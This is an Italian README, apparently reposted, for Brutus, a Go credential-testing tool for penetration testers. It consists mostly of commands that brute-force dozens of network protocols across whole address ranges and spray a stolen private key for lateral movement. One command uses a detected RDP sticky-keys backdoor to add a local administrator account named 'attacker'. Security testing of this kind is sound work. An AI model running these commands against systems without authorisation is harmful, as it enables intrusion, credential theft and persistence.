Strumento veloce per test delle credenziali senza dipendenze in Go. Esegui brute force su SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e oltre 20 protocolli. Alternativa a Hydra con integrazione nativa della pipeline nerva/naabu.
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — Le ultime parole prima che le credenziali cadano.</em>
</p>
<p align="center">
<strong>Strumento moderno per il test delle credenziali in puro Go</strong>
</p>
<p align="center">
<a href="#installation">Installazione</a> •
<a href="#quick-start">Avvio rapido</a> •
<a href="#pipeline-integration">Pipeline</a> •
<a href="#supported-protocols">Protocolli</a> •
<a href="#account-enumeration">Enumerazione</a> •
<a href="#socks5-proxy-support">Proxy</a> •
<a href="#library-integration">Libreria</a>
</p>
---
## Panoramica
Brutus è uno strumento multi-protocollo per il test dell'autenticazione progettato per colmare una lacuna critica negli strumenti di sicurezza offensiva: la validazione efficiente delle credenziali su servizi di rete eterogenei. Mentre gli strumenti orientati all'HTTP sono abbondanti, i penetration tester e gli operatori red team incontrano frequentemente database, SSH, SMB e altri servizi di rete che richiedono capacità di test dell'autenticazione dedicate.
Costruito in Go come singolo binario senza dipendenze esterne, Brutus si integra perfettamente con [Nerva](https://github.com/praetorian-inc/nerva) per il rilevamento automatico dei servizi, consentendo agli operatori di identificare e testare rapidamente i vettori di autenticazione su intere porzioni di rete.
**Caratteristiche principali:**
- **Zero dipendenze:** Singolo binario, multipiattaforma (Linux, Windows, macOS)
- **43 protocolli:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, MQTT e altri
- **Supporto proxy SOCKS5:** Instrada tutto il traffico attraverso un proxy SOCKS5 con `--proxy`
- **Modalità di aggressività:** `--mode cautious|default|aggressive` per calibrare copertura e sicurezza
- **Integrazione con pipeline:** Supporto nativo per i flussi di lavoro Nerva, naabu, nmap e masscan
- **Chiavi compromesse integrate:** Raccolta integrata di chiavi SSH note (Vagrant, F5, ExaGrid, ecc.)
- **Enumerazione account:** enumerazione tramite oracolo di esistenza account, enumerazione utenti Kerberos, generazione email, autenticazione con device code di Microsoft Teams/Entra ID
- **Libreria Go:** Importabile direttamente nei tuoi strumenti di automazione della sicurezza
- **Pronto per la produzione:** Rate limiting, connection pooling e gestione completa degli errori
---
## Perché Brutus?
Strumenti tradizionali come **THC Hydra** hanno servito bene la comunità della sicurezza, ma presentano attriti significativi: catene di dipendenze complesse, problemi di compilazione specifici per piattaforma e nessuna integrazione nativa con i moderni flussi di lavoro di ricognizione.
**Brutus** è progettato su misura per la sicurezza offensiva moderna:
- **Distribuzione a dipendenze davvero zero:** Scarica un singolo binario ed eseguilo. Niente `libssh-dev`, niente `libmysqlclient-dev`, niente errori di compilazione. Funziona in modo identico su Linux, macOS e Windows.
- **Integrazione nativa con pipeline:** Brutus parla JSON e si integra direttamente con [Nerva](https://github.com/praetorian-inc/nerva), [naabu](https://github.com/projectdiscovery/naabu), [nmap](https://nmap.org) e [masscan](https://github.com/robertdavidgraham/masscan). Invia i servizi rilevati direttamente al test delle credenziali senza conversione di formato o scripting.
- **Intelligenza integrata:** Le chiavi SSH compromesse note (Vagrant, F5 BIG-IP, ExaGrid, ecc.) sono compilate nel binario. Usa `brutus badkeys` per testarle contro target SSH.
- **Design library-first:** Importa Brutus direttamente nei tuoi strumenti di sicurezza Go. Crea automazioni personalizzate senza ricorrere a processi esterni.
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
## Casi d'uso
### Penetration Testing
- Convalidare le credenziali scoperte su più servizi durante le valutazioni interne
- Testare i pattern di riutilizzo delle password su servizi di database e condivisione file
- Identificare le credenziali predefinite su infrastrutture appena distribuite
### Operazioni Red Team
- Convalida rapida delle credenziali dopo dump di password o campagne di phishing
- Testare le opportunità di movimento laterale attraverso i servizi di rete
- Convalidare le credenziali compromesse in ambienti eterogenei
### Private Key Spraying
Hai trovato una chiave privata su un sistema compromesso? Diffondila sulla rete per scoprire dove altro concede l'accesso:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
Questa pipeline individua tutti i servizi SSH, li identifica con Nerva e verifica la chiave compromessa rispetto a nomi utente comuni, rivelando in pochi secondi le opportunità di movimento laterale.
### Test del pannello di amministrazione web
Individua i servizi HTTP e verifica le credenziali utilizzando il rilevamento basato sull'IA o elenchi di credenziali manuali:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### Validazione della Sicurezza
- Testare le credenziali predefinite sui servizi appena distribuiti
- Convalidare l'applicazione delle policy sulle password su tutte le piattaforme
- Generare tracce di audit per la conformità e le valutazioni di sicurezza
---
## Installazione
### Binari Precompilati (Consigliato)
Scarica da [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Installazione tramite Go
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## Avvio Rapido
### Sottocomandi
<!-- BEGIN generated: cli-subcommands -->
Brutus organizza le sue funzionalità in questi sottocomandi mirati:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
Alcuni sottocomandi hanno alias per facilitarne la scoperta:
| Sottocomando | Alias |
| --- | --- |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `creds` | `services`, `defaults`, `credentials` |
| `snmp` | `community` |
| `web` | `http`, `panels` |
Il riferimento completo — ogni sottocomando, alias e flag, inclusi quelli nascosti da `--help` — è generato in [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md).
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### Utilizzo di base
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### Esempio di output
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
In modalità verbose (`-v`):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
Output JSON per l'integrazione della pipeline (restituisce solo le credenziali valide):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## Integrazione con la Pipeline
Brutus si integra perfettamente con **[Nerva](https://github.com/praetorian-inc/nerva)** e **[naabu](https://github.com/projectdiscovery/naabu)** per una completa ricognizione di rete.
### Scenari Reali
#### Scenario 1: Scansione di una Rete Aziendale /24
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### Scenario 2: Ricognizione Bug Bounty su un Dominio Target
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### Scenario 3: Ricerca di database in una valutazione interna
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### Scenario 4: Test delle chiavi SSH sull'infrastruttura
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### Scenario 5: Test mirato dei servizi
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### Importazione dei risultati degli strumenti di scansione (Nmap e Masscan)
Brutus può importare i target direttamente dai file di output delle scansioni **nmap** e **masscan**, eliminando la necessità di conversione del formato o di strumenti intermedi.
#### Importazione XML di Nmap (`--nmap-file`)
Importa i target dall'output XML di nmap (`-oX`). Nmap fornisce il fingerprinting dei servizi, quindi Brutus mappa automaticamente i servizi rilevati al protocollo corretto:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
I nomi dei servizi Nmap vengono mappati automaticamente ai protocolli Brutus (ad es., `ms-wbt-server` → `rdp`, `microsoft-ds` → `smb`). TLS viene rilevato dall'attributo `tunnel="ssl"` di nmap. Vengono importate solo le porte aperte sugli host attivi.
#### Importazione JSON di Masscan (`--masscan-file`)
Importa i target dall'output JSON di masscan (`-oJ`). Poiché masscan è solo uno scanner di porte (nessun fingerprinting dei servizi), è necessario specificare `--protocol` oppure lasciare che Brutus esegua il fingerprinting automatico con Nerva:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### Combinazione con Altri Flussi di Lavoro
I flag `--nmap-file` e `--masscan-file` funzionano con tutti i sottocomandi e sono mutuamente esclusivi con `--target`, `--targets-file` e stdin:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### Formato di input della pipeline
Brutus accetta diversi formati di input da stdin:
**Nerva JSON** (`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI** (output predefinito di Nerva, non serve `--json`):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**Target bare** (con fingerprint automatico tramite Nerva):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus automaticamente:
- Analizza formati JSON, schema URI e target bare
- Mappa i servizi ai protocolli
- Testa le credenziali predefinite appropriate
- Restituisce i risultati nel formato JSON corrispondente
### Formato di output della pipeline
Brutus restituisce solo le credenziali valide in formato JSONL (un oggetto JSON per riga):
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**Nota:** I tentativi di autenticazione falliti non sono inclusi nell'output JSON. Il campo `key` appare (come `true`) quando l'autenticazione ha utilizzato una chiave SSH invece di una password. Il campo `llm_suggested` appare (come `true`) quando le credenziali sono state suggerite dal sistema AI (`--experimental-ai`).
---
## Confronto
| Funzionalità | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| Binario Singolo | ❌ | ❌ | ❌ | ✅ |
| Zero Dipendenze | ❌ | ❌ | ❌ | ✅ |
| Proxy SOCKS5 | ✅ | ❌ | ❌ | ✅ |
| Pipeline Nerva | ❌ | ❌ | ❌ | ✅ |
| Importazione Nmap/Masscan | ❌ | ❌ | ❌ | ✅ |
| Streaming JSON | ⚠️ | ❌ | ❌ | ✅ |
| Multipiattaforma | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Errori Coerenti | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Sviluppo Attivo | ✅ | ⚠️ | ❌ | ✅ |
| Bad Keys Integrate | ❌ | ❌ | ❌ | ✅ |
| Importazione Libreria Go | ❌ | ❌ | ❌ | ✅ |
---
## Protocolli Supportati
Brutus supporta **43 protocolli**:
### Servizi di Rete
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| SSH | 22 | Password, Chiavi Private | Server, apparati di rete |
| FTP | 21 | Password | File server, dispositivi NAS |
| rsync | 873 | Segreti modulo, Anonimo | Sincronizzazione file |
| Telnet | 23 | Password | Sistemi legacy, dispositivi IoT |
| VNC | 5900 | Password | Desktop remoti |
| RDP | 3389 | NLA/CredSSP, Password | Server Windows, workstation |
| SNMP | 161 | Community String | Dispositivi di rete, stampanti |
| IPMI | 623/udp | RMCP | BMC / lights-out |
| OPC UA | 4840 | Token username, Anonimo | ICS/SCADA |
### Servizi Web
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| HTTP | 80 | Basic Auth | Pannelli di amministrazione (Grafana, Jenkins, ecc.) |
| HTTPS | 443 | Basic Auth | Pannelli di amministrazione sicuri |
| Browser | 80/443 | Form | login Microsoft/Entra basato su browser |
### Infrastruttura Enterprise
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| SMB | 445 | Password, NTLM | Reti Windows, condivisioni file |
| LDAP | 389/636 | Bind DN | Active Directory, identità |
| WinRM | 5985/5986 | NTLM | Gestione remota Windows |
### Database
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| MySQL | 3306 | Password | Applicazioni web |
| PostgreSQL | 5432 | Password | Applicazioni moderne |
| MSSQL | 1433 | Password | Applicazioni enterprise |
| MongoDB | 27017 | Password | Backend NoSQL |
| Redis | 6379 | Password | Caching, sessioni |
| Memcached | 11211 | SASL, Anonimo | Caching |
| Neo4j | 7687 | Password | Database a grafo |
| Cassandra | 9042 | Password | Database distribuiti |
| CouchDB | 5984 | HTTP Basic | Archivi di documenti |
| Elasticsearch | 9200 | HTTP Basic | Motori di ricerca |
| InfluxDB | 8086 | HTTP Basic | Dati time-series |
| Oracle | 1521 | Password | Database enterprise |
| DB2 | 50000 | Password | Database enterprise |
| Firebird | 3050 | Password | Database embedded |
### Container e Orchestrazione
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| Docker | 2375/2376 | Non autenticato | Daemon Docker esposti |
| Kubernetes | 6443/10250 | Non autenticato | API/kubelet K8s esposti |
### Comunicazioni
| Protocollo | Porta | Metodi di Autenticazione | Caso d'Uso |
|----------|------|--------------|----------|
| SMTP | 25/587 | Password | Mail relay |
| IMAP | 143/993 | Password | Accesso casella di posta |
| POP3 | 110/995 | Password | Accesso casella di posta |
| ActiveMQ | 61616 | Password | Broker OpenWire |
| SIP | 5060/5061 | Digest | VoIP |
| TURN | 3478 | Password | Relay TURN |
| ZooKeeper | 2181 | Digest, Anonimo | Coordinamento |
| NATS | 4222 | Password, Anonimo | Messaggistica |
| XMPP | 5222 | SASL PLAIN | Chat |
| MQTT | 1883/8883 | Password, Anonimo | Broker IoT |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | Broker |
| SOCKS5 | 1080 | Autenticazione proxy SOCKS5 | Proxy |
---
## Bad Keys SSH Integrate
Distribuzione con binario singolo senza necessità di file di chiavi esterni. Ogni chiave è abbinata al suo username predefinito per una mappatura intelligente delle credenziali, e il tracciamento CVE consente query di conformità.
Brutus include le raccolte di chiavi **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** e **[Vagrant](https://github.com/hashicorp/vagrant)** integrate nel binario:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### Raccolta di chiavi incorporate
| Prodotto | CVE | Utente predefinito | Descrizione |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Chiave insicura di HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Chiave host SSH statica |
| ExaGrid | CVE-2016-1561 | root | Backdoor dell'appliance di backup |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemi di allerta di emergenza |
| Barracuda | CVE-2014-8428 | cluster | VM del load balancer |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul wireless |
| Array Networks | - | sync | Appliance vAPV/vxAG |
| Quantum DXi | - | root | Appliance di deduplicazione |
| Loadbalancer.org | - | root | Load balancer enterprise |
---
## Modalità di aggressività
Il flag globale `--mode` (`-m`) controlla l'aggressività in tutti i sottocomandi. Imposta preset di ottimizzazione delle prestazioni che bilanciano la copertura rispetto alla sicurezza:
| Modalità | Thread | Timeout | Limite di frequenza | Jitter | Tentativi | Caso d'uso |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambienti di produzione, evitare blocchi |
| `default` | 10 | 10s | Illimitato | Nessuno | 2 | Test standard |
| `aggressive` | 20 | 10s | Illimitato | Nessuno | 3 | Ambienti lab/CTF, copertura massima |
I preset delle modalità vengono applicati per primi, poi qualsiasi flag CLI esplicito li sovrascrive:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
Per SNMP, la modalità controlla anche la profondità della wordlist integrata (vedi [SNMP Community String Testing](#snmp-community-string-testing)).
---
## Supporto Proxy SOCKS5
Il flag `--proxy` instrada tutte le connessioni attraverso un proxy SOCKS5. Funziona con tutti i protocolli e i sottocomandi:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
Schemi supportati:
- `socks5://` — Proxy SOCKS5 standard (risoluzione DNS lato client)
- `socks5h://` — SOCKS5 con risoluzione DNS remota (utile quando si prendono di mira hostname interni)
---
## Test delle Community String SNMP
Il sottocomando `snmp` fornisce test dedicati delle community string SNMP v1/v2c con wordlist a livelli controllate dal flag globale `--mode`:
| Modalità | Stringhe | Copertura |
|------|---------|----------|
| `cautious` | ~25 | Stringhe comuni (public, private, community, ecc.) |
| `default` | ~25 | Come cautious |
| `aggressive` | 200+ | Completa (specifiche del vendor, SCADA, telecamere IP, storage, ecc.) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
## Integrazione come Libreria
Per gli sviluppatori che creano strumenti di automazione della sicurezza, Brutus può anche essere importato come libreria Go:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## Sperimentale: Rilevamento delle Credenziali basato sull'IA
> **⚠️ Funzionalità Sperimentale:** Le funzionalità IA richiedono chiavi API esterne e sono in fase di sviluppo attivo.
### Il flag `--experimental-ai`
Il flag `--experimental-ai` abilita il rilevamento automatico delle credenziali per i servizi HTTP:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**Come funziona:**
1. **Rilevamento** — Brutus sonda i target HTTP per rilevare il tipo di autenticazione (Basic Auth vs basata su form)
2. **Identificazione del dispositivo** — Claude Vision analizza gli screenshot per identificare il dispositivo/applicazione
3. **Suggerimenti di credenziali** — Claude suggerisce credenziali predefinite dai suoi dati di addestramento
4. **Ricerca web opzionale** — Perplexity (se configurato) cerca credenziali aggiuntive online
5. **Test** — Verifica le credenziali scoperte contro il target
**Per target HTTP Basic Auth:**
- Sonda `/` per catturare gli header HTTP
- Identifica il dispositivo dall'header Server, dal realm WWW-Authenticate, ecc.
- Claude suggerisce probabili credenziali predefinite
- Verifica automaticamente le coppie di credenziali
**Per target HTTP con autenticazione basata su form:**
- Utilizza Chrome headless per renderizzare e catturare uno screenshot della pagina
- Claude Vision identifica il form di login, il tipo di dispositivo e suggerisce credenziali
- Perplexity (opzionale) cerca credenziali predefinite aggiuntive
- L'automazione del browser compila e invia il form
**Requisiti:**
- `ANTHROPIC_API_KEY` — **Obbligatorio** per Claude Vision (identificazione del dispositivo + suggerimenti di credenziali)
- `PERPLEXITY_API_KEY` — *Opzionale* per ulteriori ricerche web
- Chrome/Chromium installato (solo per autenticazione basata su form)
**I protocolli non-HTTP (SSH, MySQL, ecc.) non sono influenzati da `--experimental-ai`** — continuano a utilizzare il test standard delle credenziali.
---
## RDP: Rilevamento ed Exploitation della Backdoor Sticky Keys
Brutus include il rilevamento automatico della **backdoor sticky keys** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) sui target RDP. Questo controllo pre-autenticazione viene eseguito su target RDP non-NLA — nessuna credenziale richiesta.
**Come funziona:**
1. Si connette al target RDP e negozia una sessione non-NLA
2. Cattura la bitmap della schermata di login come baseline
3. Invia 5x tasto Shift (il trigger delle sticky keys)
4. Cattura la bitmap di risposta
5. L'analisi euristica rileva se è apparsa una finestra di terminale (cmd.exe, PowerShell, ecc.)
6. Opzionalmente conferma tramite Claude Vision API (quando `ANTHROPIC_API_KEY` è impostato)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**Modalità solo rilevamento:** il sottocomando `logon` esegue il rilevamento delle backdoor sticky keys e utilman senza brute force:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**Output di rilevamento:**
```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### Esecuzione di comandi tramite backdoor (`--exec`)
Una volta rilevata una backdoor, esegui un comando sul sistema remoto tramite il prompt dei comandi pre-auth:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
Questo si connette, attiva il backdoor, digita il comando, preme Invio, attende l'output e salva uno screenshot PNG del risultato.
### Terminale Web Interattivo (`--web`)
Avvia un visualizzatore RDP basato su browser per l'interazione in tempo reale con il prompt dei comandi del backdoor:
```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
Questo avvia un server HTTP locale con:
- **Streaming dello schermo in tempo reale** a ~10 FPS (JPEG su WebSocket)
- **Inoltro completo della tastiera** (scancode PS/2 mappati da KeyboardEvent del browser)
- **Supporto mouse** (clic, movimento, clic destro)
- **Stato della connessione** con overlay di disconnessione e pulsante di riconnessione
Apri l'URL visualizzato (ad es., `http://127.0.0.1:<port>`) in qualsiasi browser per interagire con la sessione RDP remota. Se la sessione si disconnette a causa del timeout di inattività lato server, fai clic su **Reconnect** per stabilire una nuova sessione.
---
[Read more](https://github.com/praetorian-inc/brutus)